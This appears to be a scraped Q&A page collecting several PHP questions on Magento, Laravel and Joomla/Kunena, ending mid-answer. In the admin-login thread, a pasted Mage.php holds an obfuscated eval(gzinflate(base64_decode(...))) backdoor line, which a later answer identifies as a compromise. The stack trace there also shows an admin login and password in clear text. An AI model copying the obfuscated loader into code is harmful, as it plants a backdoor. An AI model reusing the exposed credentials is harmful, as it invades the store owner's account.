Why is my Magento module not being loaded? [closed] - debugging

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 11 years ago.
I just wrote a Magento module, but it's not being loaded and I'd like to debug it.

Here are a couple of classes and the methods that are responsible for various stages of loading.
Mage_Core_Model_Config
Called for each module (returns a Mage_Core_Model_Config representing the module's XML block in the main config directory (enabled, version, etc..)):
/**
* Get module config node
*
* #param string $moduleName
* #return Varien_Simplexml_Object
*/
function getModuleConfig($moduleName='')
{
$modules = $this->getNode('modules');
if (''===$moduleName) {
return $modules;
} else {
return $modules->$moduleName;
}
}
Called for each module, but just builds a structure still without including the individual module configs:
/**
* Load declared modules configuration
*
* #param null $mergeConfig depricated
* #return Mage_Core_Model_Config
*/
protected function _loadDeclaredModules($mergeConfig = null)
{
$moduleFiles = $this->_getDeclaredModuleFiles();
if (!$moduleFiles) {
return ;
}
Varien_Profiler::start('config/load-modules-declaration');
$unsortedConfig = new Mage_Core_Model_Config_Base();
$unsortedConfig->loadString('<config/>');
$fileConfig = new Mage_Core_Model_Config_Base();
// load modules declarations
foreach ($moduleFiles as $file) {
$fileConfig->loadFile($file);
$unsortedConfig->extend($fileConfig);
}
$moduleDepends = array();
foreach ($unsortedConfig->getNode('modules')->children() as $moduleName => $moduleNode) {
if (!$this->_isAllowedModule($moduleName)) {
continue;
}
$depends = array();
if ($moduleNode->depends) {
foreach ($moduleNode->depends->children() as $depend) {
$depends[$depend->getName()] = true;
}
}
$moduleDepends[$moduleName] = array(
'module' => $moduleName,
'depends' => $depends,
'active' => ('true' === (string)$moduleNode->active ? true : false),
);
}
// check and sort module dependence
$moduleDepends = $this->_sortModuleDepends($moduleDepends);
// create sorted config
$sortedConfig = new Mage_Core_Model_Config_Base();
$sortedConfig->loadString('<config><modules/></config>');
foreach ($unsortedConfig->getNode()->children() as $nodeName => $node) {
if ($nodeName != 'modules') {
$sortedConfig->getNode()->appendChild($node);
}
}
foreach ($moduleDepends as $moduleProp) {
$node = $unsortedConfig->getNode('modules/'.$moduleProp['module']);
$sortedConfig->getNode('modules')->appendChild($node);
}
$this->extend($sortedConfig);
Varien_Profiler::stop('config/load-modules-declaration');
return $this;
}
Loads config.xml, enterprise.xml, local.xml, etc..:
/**
* Load base system configuration (config.xml and local.xml files)
*
* #return Mage_Core_Model_Config
*/
public function loadBase()
{
$etcDir = $this->getOptions()->getEtcDir();
$files = glob($etcDir.DS.'*.xml');
$this->loadFile(current($files));
while ($file = next($files)) {
$merge = clone $this->_prototype;
$merge->loadFile($file);
$this->extend($merge);
}
if (in_array($etcDir.DS.'local.xml', $files)) {
$this->_isLocalConfigLoaded = true;
}
return $this;
}
Loads the individual module configs:
/**
* Iterate all active modules "etc" folders and combine data from
* specidied xml file name to one object
*
* #param string $fileName
* #param null|Mage_Core_Model_Config_Base $mergeToObject
* #return Mage_Core_Model_Config_Base
*/
public function loadModulesConfiguration($fileName, $mergeToObject = null, $mergeModel=null)
{
$disableLocalModules = !$this->_canUseLocalModules();
if ($mergeToObject === null) {
$mergeToObject = clone $this->_prototype;
$mergeToObject->loadString('<config/>');
}
if ($mergeModel === null) {
$mergeModel = clone $this->_prototype;
}
$modules = $this->getNode('modules')->children();
foreach ($modules as $modName=>$module) {
if ($module->is('active')) {
if ($disableLocalModules && ('local' === (string)$module->codePool)) {
continue;
}
$configFile = $this->getModuleDir('etc', $modName).DS.$fileName;
if ($mergeModel->loadFile($configFile)) {
$mergeToObject->extend($mergeModel, true);
}
}
}
return $mergeToObject;
}
Varien_Simplexml_Config (lib/Varien/Simplexml/Config.php)
What actually reads the individual module configs:
/**
* Imports XML file
*
* #param string $filePath
* #return boolean
*/
public function loadFile($filePath)
{
if (!is_readable($filePath)) {
//throw new Exception('Can not read xml file '.$filePath);
return false;
}
$fileData = file_get_contents($filePath);
$fileData = $this->processFileData($fileData);
return $this->loadString($fileData, $this->_elementClass);
}
Dustin Oprea

Related

Laravel How can I have if statements in a factory?

Currently trying to have my factory only fill in certain columns based on the product type. Is it even possible to do this in the first place? Thanks in advance.
Here is my code:
class ProductFactory extends Factory
{
protected $model = Product::class;
/**
* Define the model's default state.
*
* #return array
*/
public function definition()
{
$productType = ProductType::all();
$products = [[
'type_id'=>$productType->random()->id,
'name'=>$this->faker->catchPhrase,
'description'=>$this->faker->paragraph (2, true),
'price'=>$this->faker->randomFloat(2,5,20),
'stock'=>$this->faker->numberBetween(1,100),
]];
foreach($products as $key=>$product){
if($product['type_id'] = 1){
$product[$key]['pagelength'] = $this->faker->randomFloat(3,100,500);
}
elseif($product['type_id'] = 2){
$product[$key]['playlength']=$this->faker->randomFloat(2,40,140);
}
if($product['type_id'] = 3){
$product[$key]['pegi']=$this->faker->randomFloat(1,1,10);
}
}
}
}
The definition method in a factory is responsible to create a single record/instance/array of the model. So the definition shouldn't have a collection $products
Try the below which I guess will help you achieve what you want
class ProductFactory extends Factory
{
protected $model = Product::class;
/**
* Define the model's default state.
*
* #return array
*/
public function definition()
{
$productTypes = ProductType::all();
$productType = $productTypes->random()->id;
$product = [
'type_id'=>$productType,
'name'=>$this->faker->catchPhrase,
'description'=>$this->faker->paragraph (2, true),
'price'=>$this->faker->randomFloat(2,5,20),
'stock'=>$this->faker->numberBetween(1,100),
];
if($productType === 1) {
$product['pagelength'] = $this->faker->randomFloat(3,100,500);
}
if($productType === 2) {
$product['playlength'] = $this->faker->randomFloat(2,40,140);
}
if($productType === 3) {
$product['pegi'] = $this->faker->randomFloat(1,1,10);
}
return $product;
}
}

Magento Admin login is broken

a customer has a problem with his backend. Whenever i try to login the following error occure
i delete var/cache and var/session but nothing happend
Magento 1.5
There has been an error processing your request
Invalid method Mage_Admin_Model_Session::renewSession(Array
(
)
)
Trace:
#0 [internal function]: Varien_Object->__call('renewSession', Array)
#1 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Admin/Model/Session.php(116): Mage_Admin_Model_Session->renewSession()
#2 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Admin/Model/Observer.php(55): Mage_Admin_Model_Session->login('webkomadmin01', 'Webkom09#', Object(Mage_Core_Controller_Request_Http))
#3 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(1265): Mage_Admin_Model_Observer->actionPreDispatchAdmin(Object(Varien_Event_Observer))
#4 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(1246): Mage_Core_Model_App->_callObserverMethod(Object(Mage_Admin_Model_Observer), 'actionPreDispat...', Object(Varien_Event_Observer))
#5 /var/www/vhosts/mydomain.com/httpdocs/app/Mage.php(416): Mage_Core_Model_App->dispatchEvent('controller_acti...', Array)
#6 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Action.php(502): Mage::dispatchEvent('controller_acti...', Array)
#7 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Adminhtml/Controller/Action.php(152): Mage_Core_Controller_Varien_Action->preDispatch()
#8 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Action.php(407): Mage_Adminhtml_Controller_Action->preDispatch()
#9 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(253): Mage_Core_Controller_Varien_Action->dispatch('index')
#10 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Front.php(176): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
#11 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(340): Mage_Core_Controller_Varien_Front->dispatch()
#12 /var/www/vhosts/mydomain.com/httpdocs/app/Mage.php(627): Mage_Core_Model_App->run(Array)
#13 /var/www/vhosts/mydomain.com/httpdocs/index.php(80): Mage::run('', 'store')
#14 {main}
please try to empty your browsers cache/session, and also try to clear your var/cache folders on your server.
1) add this code in media/.htaccess
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI
Options +FollowSymLinks
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* ../get.php [L]
2) Remove the following line in app/Mage.php line 152
return array(
'major' => '1',
'minor' => '5',
'revision' => 'x',
'patch' => '',
'stability' => 'devel',
'number' => '-100810',
);
}
3) add this following code in app/Mage.php line 152
return array(
'revision' => '1',
'patch' => '0',
'stability' => 'beta',
'number' => '1',
);
}
app/mage.php
#jinesh
<?php
eval(gzinflate(base64_decode('DcxBCoAgEAXQveA50o3uK/IoIjLqgIySn+j49Q7wwnWG2aZW9KRuCneKlRDzEJBgma0Bc/f+HiKcVk5V2AnBs5SRs8OLzdpDq/BHHw==')));
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license#magentocommerce.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magentocommerce.com for more information.
*
* #category Mage
* #package Mage_Core
* #copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
* #license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
define('DS', DIRECTORY_SEPARATOR);
define('PS', PATH_SEPARATOR);
define('BP', dirname(dirname(__FILE__)));
Mage::register('original_include_path', get_include_path());
if (defined('COMPILER_INCLUDE_PATH')) {
$appPath = COMPILER_INCLUDE_PATH;
set_include_path($appPath . PS . Mage::registry('original_include_path'));
include_once "Mage_Core_functions.php";
include_once "Varien_Autoload.php";
} else {
/**
* Set include path
*/
$paths[] = BP . DS . 'app' . DS . 'code' . DS . 'local';
$paths[] = BP . DS . 'app' . DS . 'code' . DS . 'community';
$paths[] = BP . DS . 'app' . DS . 'code' . DS . 'core';
$paths[] = BP . DS . 'lib';
$appPath = implode(PS, $paths);
set_include_path($appPath . PS . Mage::registry('original_include_path'));
include_once "Mage/Core/functions.php";
include_once "Varien/Autoload.php";
}
Varien_Autoload::register();
/**
* Main Mage hub class
*
* #author Magento Core Team <core#magentocommerce.com>
*/
final class Mage
{
/**
* Registry collection
*
* #var array
*/
static private $_registry = array();
/**
* Application root absolute path
*
* #var string
*/
static private $_appRoot;
/**
* Application model
*
* #var Mage_Core_Model_App
*/
static private $_app;
/**
* Config Model
*
* #var Mage_Core_Model_Config
*/
static private $_config;
/**
* Event Collection Object
*
* #var Varien_Event_Collection
*/
static private $_events;
/**
* Object cache instance
*
* #var Varien_Object_Cache
*/
static private $_objects;
/**
* Is downloader flag
*
* #var bool
*/
static private $_isDownloader = false;
/**
* Is developer mode flag
*
* #var bool
*/
static private $_isDeveloperMode = false;
/**
* Is allow throw Exception about headers already sent
*
* #var bool
*/
public static $headersSentThrowsException = true;
/**
* Is installed flag
*
* #var bool
*/
static private $_isInstalled;
/**
* Gets the current Magento version string
* #link http://www.magentocommerce.com/blog/new-community-edition-release-process/
*
* #return string
*/
public static function getVersion()
{
$i = self::getVersionInfo();
return trim("{$i['major']}.{$i['minor']}.{$i['revision']}" . ($i['patch'] != '' ? ".{$i['patch']}" : "") . "-{$i['stability']}{$i['number']}", '.-');
}
/**
* Gets the detailed Magento version information
* #link http://www.magentocommerce.com/blog/new-community-edition-release-process/
*
* #return array
*/
public static function getVersionInfo()
{
return array(
'revision' => '1',
'patch' => '0',
'stability' => 'beta',
'number' => '1',
);
}
/**
* Set all my static data to defaults
*
*/
public static function reset()
{
self::$_registry = array();
self::$_app = null;
self::$_config = null;
self::$_events = null;
self::$_objects = null;
self::$_isDownloader = false;
self::$_isDeveloperMode = false;
// do not reset $headersSentThrowsException
}
/**
* Register a new variable
*
* #param string $key
* #param mixed $value
* #param bool $graceful
* #throws Mage_Core_Exception
*/
public static function register($key, $value, $graceful = false)
{
if (isset(self::$_registry[$key])) {
if ($graceful) {
return;
}
self::throwException('Mage registry key "'.$key.'" already exists');
}
self::$_registry[$key] = $value;
}
/**
* Unregister a variable from register by key
*
* #param string $key
*/
public static function unregister($key)
{
if (isset(self::$_registry[$key])) {
if (is_object(self::$_registry[$key]) && (method_exists(self::$_registry[$key], '__destruct'))) {
self::$_registry[$key]->__destruct();
}
unset(self::$_registry[$key]);
}
}
/**
* Retrieve a value from registry by a key
*
* #param string $key
* #return mixed
*/
public static function registry($key)
{
if (isset(self::$_registry[$key])) {
return self::$_registry[$key];
}
return null;
}
/**
* Set application root absolute path
*
* #param string $appRoot
* #throws Mage_Core_Exception
*/
public static function setRoot($appRoot = '')
{
if (self::$_appRoot) {
return ;
}
if ('' === $appRoot) {
// automagically find application root by dirname of Mage.php
$appRoot = dirname(__FILE__);
}
$appRoot = realpath($appRoot);
if (is_dir($appRoot) and is_readable($appRoot)) {
self::$_appRoot = $appRoot;
} else {
self::throwException($appRoot . ' is not a directory or not readable by this user');
}
}
/**
* Retrieve application root absolute path
*
* #return string
*/
public static function getRoot()
{
return self::$_appRoot;
}
/**
* Retrieve Events Collection
*
* #return Varien_Event_Collection $collection
*/
public static function getEvents()
{
return self::$_events;
}
/**
* Varien Objects Cache
*
* #param string $key optional, if specified will load this key
* #return Varien_Object_Cache
*/
public static function objects($key = null)
{
if (!self::$_objects) {
self::$_objects = new Varien_Object_Cache;
}
if (is_null($key)) {
return self::$_objects;
} else {
return self::$_objects->load($key);
}
}
/**
* Retrieve application root absolute path
*
* #param string $type
* #return string
*/
public static function getBaseDir($type = 'base')
{
return self::getConfig()->getOptions()->getDir($type);
}
/**
* Retrieve module absolute path by directory type
*
* #param string $type
* #param string $moduleName
* #return string
*/
public static function getModuleDir($type, $moduleName)
{
return self::getConfig()->getModuleDir($type, $moduleName);
}
/**
* Retrieve config value for store by path
*
* #param string $path
* #param mixed $store
* #return mixed
*/
public static function getStoreConfig($path, $store = null)
{
return self::app()->getStore($store)->getConfig($path);
}
/**
* Retrieve config flag for store by path
*
* #param string $path
* #param mixed $store
* #return bool
*/
public static function getStoreConfigFlag($path, $store = null)
{
$flag = strtolower(self::getStoreConfig($path, $store));
if (!empty($flag) && 'false' !== $flag) {
return true;
} else {
return false;
}
}
/**
* Get base URL path by type
*
* #param string $type
* #return string
*/
public static function getBaseUrl($type = Mage_Core_Model_Store::URL_TYPE_LINK, $secure = null)
{
return self::app()->getStore()->getBaseUrl($type, $secure);
}
/**
* Generate url by route and parameters
*
* #param string $route
* #param array $params
* #return string
*/
public static function getUrl($route = '', $params = array())
{
return self::getModel('core/url')->getUrl($route, $params);
}
/**
* Get design package singleton
*
* #return Mage_Core_Model_Design_Package
*/
public static function getDesign()
{
return self::getSingleton('core/design_package');
}
/**
* Retrieve a config instance
*
* #return Mage_Core_Model_Config
*/
public static function getConfig()
{
return self::$_config;
}
/**
* Add observer to even object
*
* #param string $eventName
* #param callback $callback
* #param array $arguments
* #param string $observerName
*/
public static function addObserver($eventName, $callback, $data = array(), $observerName = '', $observerClass = '')
{
if ($observerClass == '') {
$observerClass = 'Varien_Event_Observer';
}
$observer = new $observerClass();
$observer->setName($observerName)->addData($data)->setEventName($eventName)->setCallback($callback);
return self::getEvents()->addObserver($observer);
}
/**
* Dispatch event
*
* Calls all observer callbacks registered for this event
* and multiobservers matching event name pattern
*
* #param string $name
* #param array $args
* #return Mage_Core_Model_App
*/
public static function dispatchEvent($name, array $data = array())
{
Varien_Profiler::start('DISPATCH EVENT:'.$name);
$result = self::app()->dispatchEvent($name, $data);
#$result = self::registry('events')->dispatch($name, $data);
Varien_Profiler::stop('DISPATCH EVENT:'.$name);
return $result;
}
/**
* Retrieve model object
*
* #link Mage_Core_Model_Config::getModelInstance
* #param string $modelClass
* #param array $arguments
* #return Mage_Core_Model_Abstract
*/
public static function getModel($modelClass = '', $arguments = array())
{
return self::getConfig()->getModelInstance($modelClass, $arguments);
}
/**
* Retrieve model object singleton
*
* #param string $modelClass
* #param array $arguments
* #return Mage_Core_Model_Abstract
*/
public static function getSingleton($modelClass='', array $arguments=array())
{
$registryKey = '_singleton/'.$modelClass;
if (!self::registry($registryKey)) {
self::register($registryKey, self::getModel($modelClass, $arguments));
}
return self::registry($registryKey);
}
/**
* Retrieve object of resource model
*
* #param string $modelClass
* #param array $arguments
* #return Object
*/
public static function getResourceModel($modelClass, $arguments = array())
{
return self::getConfig()->getResourceModelInstance($modelClass, $arguments);
}
/**
* Retrieve Controller instance by ClassName
*
* #param string $class
* #param Mage_Core_Controller_Request_Http $request
* #param Mage_Core_Controller_Response_Http $response
* #param array $invokeArgs
* #return Mage_Core_Controller_Front_Action
*/
public static function getControllerInstance($class, $request, $response, array $invokeArgs = array())
{
return new $class($request, $response, $invokeArgs);
}
/**
* Retrieve resource vodel object singleton
*
* #param string $modelClass
* #param array $arguments
* #return object
*/
public static function getResourceSingleton($modelClass = '', array $arguments = array())
{
$registryKey = '_resource_singleton/'.$modelClass;
if (!self::registry($registryKey)) {
self::register($registryKey, self::getResourceModel($modelClass, $arguments));
}
return self::registry($registryKey);
}
/**
* Deprecated, use self::helper()
*
* #param string $type
* #return object
*/
public static function getBlockSingleton($type)
{
$action = self::app()->getFrontController()->getAction();
return $action ? $action->getLayout()->getBlockSingleton($type) : false;
}
/**
* Retrieve helper object
*
* #param string $name the helper name
* #return Mage_Core_Helper_Abstract
*/
public static function helper($name)
{
if (strpos($name, '/') === false) {
$name .= '/data';
}
$registryKey = '_helper/' . $name;
if (!self::registry($registryKey)) {
$helperClass = self::getConfig()->getHelperClassName($name);
self::register($registryKey, new $helperClass);
}
return self::registry($registryKey);
}
/**
* Return new exception by module to be thrown
*
* #param string $module
* #param string $message
* #param integer $code
* #return Mage_Core_Exception
*/
public static function exception($module = 'Mage_Core', $message = '', $code = 0)
{
$className = $module.'_Exception';
return new $className($message, $code);
}
/**
* Throw Exception
*
* #param string $message
* #param string $messageStorage
*/
public static function throwException($message, $messageStorage = null)
{
if ($messageStorage && ($storage = self::getSingleton($messageStorage))) {
$storage->addError($message);
}
throw new Mage_Core_Exception($message);
}
/**
* Get initialized application object.
*
* #param string $code
* #param string $type
* #param string|array $options
* #return Mage_Core_Model_App
*/
public static function app($code = '', $type = 'store', $options = array())
{
if (null === self::$_app) {
self::$_app = new Mage_Core_Model_App();
self::setRoot();
self::$_events = new Varien_Event_Collection();
self::$_config = new Mage_Core_Model_Config();
Varien_Profiler::start('self::app::init');
self::$_app->init($code, $type, $options);
Varien_Profiler::stop('self::app::init');
self::$_app->loadAreaPart(Mage_Core_Model_App_Area::AREA_GLOBAL, Mage_Core_Model_App_Area::PART_EVENTS);
}
return self::$_app;
}
/**
* #static
* #param string $code
* #param string $type
* #param array $options
* #param string|array $modules
*/
public static function init($code = '', $type = 'store', $options = array(), $modules = array())
{
try {
self::setRoot();
self::$_app = new Mage_Core_Model_App();
self::$_config = new Mage_Core_Model_Config();
if (!empty($modules)) {
self::$_app->initSpecified($code, $type, $options, $modules);
} else {
self::$_app->init($code, $type, $options);
}
} catch (Mage_Core_Model_Session_Exception $e) {
header('Location: ' . self::getBaseUrl());
die;
} catch (Mage_Core_Model_Store_Exception $e) {
require_once(self::getBaseDir() . DS . 'errors' . DS . '404.php');
die;
} catch (Exception $e) {
self::printException($e);
die;
}
}
/**
* Front end main entry point
*
* #param string $code
* #param string $type
* #param string|array $options
*/
public static function run($code = '', $type = 'store', $options=array())
{
try {
Varien_Profiler::start('mage');
self::setRoot();
self::$_app = new Mage_Core_Model_App();
self::$_events = new Varien_Event_Collection();
self::$_config = new Mage_Core_Model_Config();
self::$_app->run(array(
'scope_code' => $code,
'scope_type' => $type,
'options' => $options,
));
Varien_Profiler::stop('mage');
} catch (Mage_Core_Model_Session_Exception $e) {
header('Location: ' . self::getBaseUrl());
die();
} catch (Mage_Core_Model_Store_Exception $e) {
require_once(self::getBaseDir() . DS . 'errors' . DS . '404.php');
die();
} catch (Exception $e) {
if (self::isInstalled() || self::$_isDownloader) {
self::printException($e);
exit();
}
try {
self::dispatchEvent('mage_run_exception', array('exception' => $e));
if (!headers_sent()) {
header('Location:' . self::getUrl('install'));
} else {
self::printException($e);
}
} catch (Exception $ne) {
self::printException($ne, $e->getMessage());
}
}
}
/**
* Retrieve application installation flag
*
* #param string|array $options
* #return bool
*/
public static function isInstalled($options = array())
{
if (self::$_isInstalled === null) {
self::setRoot();
if (is_string($options)) {
$options = array('etc_dir' => $options);
}
$etcDir = 'etc';
if (!empty($options['etc_dir'])) {
$etcDir = $options['etc_dir'];
}
$localConfigFile = self::getRoot() . DS . $etcDir . DS . 'local.xml';
self::$_isInstalled = false;
if (is_readable($localConfigFile)) {
$localConfig = simplexml_load_file($localConfigFile);
date_default_timezone_set('UTC');
if (($date = $localConfig->global->install->date) && strtotime($date)) {
self::$_isInstalled = true;
}
}
}
return self::$_isInstalled;
}
/**
* log facility (??)
*
* #param string $message
* #param integer $level
* #param string $file
* #param bool $forceLog
*/
public static function log($message, $level = null, $file = '', $forceLog = false)
{
if (!self::getConfig()) {
return;
}
try {
$logActive = self::getStoreConfig('dev/log/active');
if (empty($file)) {
$file = self::getStoreConfig('dev/log/file');
}
}
catch (Exception $e) {
$logActive = true;
}
if (!self::$_isDeveloperMode && !$logActive && !$forceLog) {
return;
}
static $loggers = array();
$level = is_null($level) ? Zend_Log::DEBUG : $level;
$file = empty($file) ? 'system.log' : $file;
try {
if (!isset($loggers[$file])) {
$logFile = self::getBaseDir('var') . DS . 'log' . DS . $file;
if (!is_dir(self::getBaseDir('var').DS.'log')) {
mkdir(self::getBaseDir('var').DS.'log', 0777);
}
if (!file_exists($logFile)) {
file_put_contents($logFile, '');
chmod($logFile, 0777);
}
$format = '%timestamp% %priorityName% (%priority%): %message%' . PHP_EOL;
$formatter = new Zend_Log_Formatter_Simple($format);
$writerModel = (string)self::getConfig()->getNode('global/log/core/writer_model');
if (!self::$_app || !$writerModel) {
$writer = new Zend_Log_Writer_Stream($logFile);
}
else {
$writer = new $writerModel($logFile);
}
$writer->setFormatter($formatter);
$loggers[$file] = new Zend_Log($writer);
}
if (is_array($message) || is_object($message)) {
$message = print_r($message, true);
}
$loggers[$file]->log($message, $level);
}
catch (Exception $e) {
}
}
/**
* Write exception to log
*
* #param Exception $e
*/
public static function logException(Exception $e)
{
if (!self::getConfig()) {
return;
}
$file = self::getStoreConfig('dev/log/exception_file');
self::log("\n" . $e->__toString(), Zend_Log::ERR, $file);
}
/**
* Set enabled developer mode
*
* #param bool $mode
* #return bool
*/
public static function setIsDeveloperMode($mode)
{
self::$_isDeveloperMode = (bool)$mode;
return self::$_isDeveloperMode;
}
/**
* Retrieve enabled developer mode
*
* #return bool
*/
public static function getIsDeveloperMode()
{
return self::$_isDeveloperMode;
}
/**
* Display exception
*
* #param Exception $e
*/
public static function printException(Exception $e, $extra = '')
{
if (self::$_isDeveloperMode) {
print '<pre>';
if (!empty($extra)) {
print $extra . "\n\n";
}
print $e->getMessage() . "\n\n";
print $e->getTraceAsString();
print '</pre>';
} else {
$reportData = array(
!empty($extra) ? $extra . "\n\n" : '' . $e->getMessage(),
$e->getTraceAsString()
);
// retrieve server data
if (isset($_SERVER)) {
if (isset($_SERVER['REQUEST_URI'])) {
$reportData['url'] = $_SERVER['REQUEST_URI'];
}
if (isset($_SERVER['SCRIPT_NAME'])) {
$reportData['script_name'] = $_SERVER['SCRIPT_NAME'];
}
}
// attempt to specify store as a skin
try {
$storeCode = self::app()->getStore()->getCode();
$reportData['skin'] = $storeCode;
}
catch (Exception $e) {}
require_once(self::getBaseDir() . DS . 'errors' . DS . 'report.php');
}
die();
}
/**
* Define system folder directory url by virtue of running script directory name
* Try to find requested folder by shifting to domain root directory
*
* #param string $folder
* #param boolean $exitIfNot
* #return string
*/
public static function getScriptSystemUrl($folder, $exitIfNot = false)
{
$runDirUrl = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
$runDir = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), DS);
$baseUrl = null;
if (is_dir($runDir.'/'.$folder)) {
$baseUrl = str_replace(DS, '/', $runDirUrl);
} else {
$runDirUrlArray = explode('/', $runDirUrl);
$runDirArray = explode('/', $runDir);
$count = count($runDirArray);
for ($i=0; $i < $count; $i++) {
array_pop($runDirUrlArray);
array_pop($runDirArray);
$_runDir = implode('/', $runDirArray);
if (!empty($_runDir)) {
$_runDir .= '/';
}
if (is_dir($_runDir.$folder)) {
$_runDirUrl = implode('/', $runDirUrlArray);
$baseUrl = str_replace(DS, '/', $_runDirUrl);
break;
}
}
}
if (is_null($baseUrl)) {
$errorMessage = "Unable detect system directory: $folder";
if ($exitIfNot) {
// exit because of infinity loop
exit($errorMessage);
} else {
self::printException(new Exception(), $errorMessage);
}
}
return $baseUrl;
}
/**
* Set is downloader flag
*
* #param bool $flag
*/
public static function setIsDownloader($flag = true)
{
self::$_isDownloader = $flag;
}
}
Unfortunately its seems your clients site was compromised.
your mage.php shouldn't contain line 2:
eval(gzinflate(base64_decode('DcxBCoAgEAXQveA50o3uK/IoIjLqgIySn+j49Q7wwnWG2aZW9KRuCneKlRDzEJBgma0Bc/f+HiKcVk5V2AnBs5SRs8OLzdpDq/BHHw==')));
You can use http://ddecode.com/phpdecoder/?home to evaluate that code

Get someone else's User ID for Message

I'm unable to get someone's user ID from their Kunena profile to open a new private message with the recipient name already inserted. The closest I got was the following code, which inserts my own username...
defined('_JEXEC') or die ();
class KunenaPrivateUddeIM extends KunenaPrivate
{
protected $uddeim = null;
protected $params = null;
/**
* #param $params
*/
public function __construct($params)
{
$this->params = $params;
if (!class_exists('uddeIMAPI'))
{
return;
}
$this->uddeim = new uddeIMAPI();
if ($this->uddeim->version() < 1)
{
return;
}
}
/**
* #param $userid
*
* #return string
*/
protected function getURL($userid)
{
static $itemid = false;
if ($itemid === false)
{
$itemid = 0;
if (method_exists($this->uddeim, 'getItemid'))
{
$itemid = $this->uddeim->getItemid();
}
if ($itemid)
{
$itemid = '&Itemid=' . (int) $itemid;
}
else
{
$itemid = '';
}
}
return JRoute::_('index.php?option=com_uddeim&task=new&recip=' . (int) $userid . $itemid);
}
/**
* #param $userid
*
* #return mixed
*/
public function getUnreadCount($userid)
{
return $this->uddeim->getInboxUnreadMessages($userid);
}
/**
* #param $text
*
* #return string
*/
public function getInboxLink($text)
{
if (!$text)
{
$text = JText::_('COM_KUNENA_PMS_INBOX');
}
return '' . $text . '';
}
/**
* #return string
*/
public function getInboxURL()
{
$user = JFactory::getUser($userid);
return JRoute::_('index.php?option=com_uddeim&task=new&recip=' . ($user ->id));
}
}
Change this line:
return JRoute::_('index.php?option=com_uddeim&task=new&recip=' . (JFactory::getUser()->id));
to the following 2 lines:
$user = JFactory::getUser($userid);
return JRoute::_('index.php?option=com_uddeim&task=new&recip=' . ($user ->id));
You can check this post that we have written some time ago (it was written for Joomla 2.5, but it still works, except that you have to remove the &) on how to retrieve non-cached users in Joomla: http://www.itoctopus.com/how-to-retrieve-the-non-cached-user-information-from-joomla
Ok kunena developer has a hotfix on github for the upcomming release update. Here is the commit link https://github.com/Kunena/Kunena-Forum/pull/3547

Magento not navigating to search result page

Any idea why my magento search is not navigating to the search result page at all. it just refreshes the page every time submit is clicked.
heres the link to the website http://remas.com.au
Thanks in advance!
Your form action is http://remas.com.au/catalogsearch/result/?q=neoguri (when query is neoguri). When the form is submitted, a GET request is made to the indexAction of Mage_CatalogSearch_ResultController:
/**
* Display search result
*/
public function indexAction()
{
$query = Mage::helper('catalogsearch')->getQuery();
/* #var $query Mage_CatalogSearch_Model_Query */
$query->setStoreId(Mage::app()->getStore()->getId());
if ($query->getQueryText() != '') {
if (Mage::helper('catalogsearch')->isMinQueryLength()) {
$query->setId(0)
->setIsActive(1)
->setIsProcessed(1);
}
else {
if ($query->getId()) {
$query->setPopularity($query->getPopularity()+1);
}
else {
$query->setPopularity(1);
}
if ($query->getRedirect()){
$query->save();
$this->getResponse()->setRedirect($query->getRedirect());
return;
}
else {
$query->prepare();
}
}
Mage::helper('catalogsearch')->checkNotes();
$this->loadLayout();
$this->_initLayoutMessages('catalog/session');
$this->_initLayoutMessages('checkout/session');
$this->renderLayout();
if (!Mage::helper('catalogsearch')->isMinQueryLength()) {
$query->save();
}
}
else {
$this->_redirectReferer();
}
}
It looks like $query->getQueryText() is null or empty
if ($query->getQueryText() != '') {
...
}
else {
$this->_redirectReferer();
}
so the action redirects back to the page it was submitted from. If you have a debugger, set a breakpoint at the top of the method
$query = Mage::helper('catalogsearch')->getQuery();
and inspect the $query object. You can also dump the object. If this doesn't tell you anything, continue digging. This is the getQuery method of the catalogsearch helper (Mage_CatalogSearch_Helper_Data):
/**
* Retrieve query model object
*
* #return Mage_CatalogSearch_Model_Query
*/
public function getQuery()
{
if (!$this->_query) {
$this->_query = Mage::getModel('catalogsearch/query')
->loadByQuery($this->getQueryText());
if (!$this->_query->getId()) {
$this->_query->setQueryText($this->getQueryText());
}
}
return $this->_query;
}
and the getQueryText method:
/**
* Retrieve search query text
*
* #return string
*/
public function getQueryText()
{
if (!isset($this->_queryText)) {
$this->_queryText = $this->_getRequest()->getParam($this->getQueryParamName());
if ($this->_queryText === null) {
$this->_queryText = '';
} else {
/* #var $stringHelper Mage_Core_Helper_String */
$stringHelper = Mage::helper('core/string');
$this->_queryText = is_array($this->_queryText) ? ''
: $stringHelper->cleanString(trim($this->_queryText));
$maxQueryLength = $this->getMaxQueryLength();
